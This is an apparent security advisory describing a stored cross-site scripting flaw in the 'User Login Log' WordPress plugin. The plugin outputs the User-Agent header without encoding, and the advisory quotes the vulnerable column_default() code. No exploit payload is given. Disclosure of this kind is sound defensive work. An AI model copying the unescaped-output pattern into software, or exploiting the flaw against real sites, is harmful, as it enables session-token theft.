Introduction
The User Login Log WordPress Plugin track records of WordPress user login with set of multiple information like ip, date , time, country , city, and user name. A stored Cross-Site Scripting vulnerability was found in the User Login Log WordPress Plugin. This issue can be exploited by Subscriber (or higher) and allows an attacker to perform a wide variety of actions, such as stealing users' session tokens, or performing arbitrary actions on their behalf.

Details
This vulnerability exists due to the lack of encoding of the User-Agent HTTP request header. This issue exists in method column_default() that is implemented in the file user-login-log.php.

function column_default($item, $column_name)
{
   
[...]
   
   switch($column_name){
   
[...]
      
   default:
      return $item[$column_name];
   }
}
